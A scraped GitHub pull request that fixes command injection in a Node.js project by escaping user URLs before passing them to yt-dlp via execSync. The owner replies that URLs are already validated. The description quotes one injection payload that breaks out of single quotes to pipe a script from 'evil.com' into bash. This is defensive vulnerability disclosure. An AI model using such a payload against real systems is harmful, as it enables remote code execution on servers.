fix: prevent command injection via URL in yt-dlp shell commands#46
Open
tranquac wants to merge 1 commit intodevelon2015:nodefrom
Open
fix: prevent command injection via URL in yt-dlp shell commands#46tranquac wants to merge 1 commit intodevelon2015:nodefrom
tranquac wants to merge 1 commit intodevelon2015:nodefrom
Conversation
Signed-off-by: tranquac <tranquac@users.noreply.github.com>
Owner
|
执行命令前已经对URL进行了验证: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fix command injection vulnerability where user-supplied URLs are interpolated into shell commands executed with
child_process.execSync.Problem
Multiple functions pass user input directly into shell command strings:
The single-quote escaping is trivially bypassed:
'; curl evil.com/shell.sh | bash; 'An attacker can execute arbitrary commands by submitting a crafted URL.
Fix
Added
shellEscape()helper function that properly escapes single quotes, and applied it to user-controlled values before shell interpolation.Impact
parseSubtitle,downloadSubtitle, and related video processing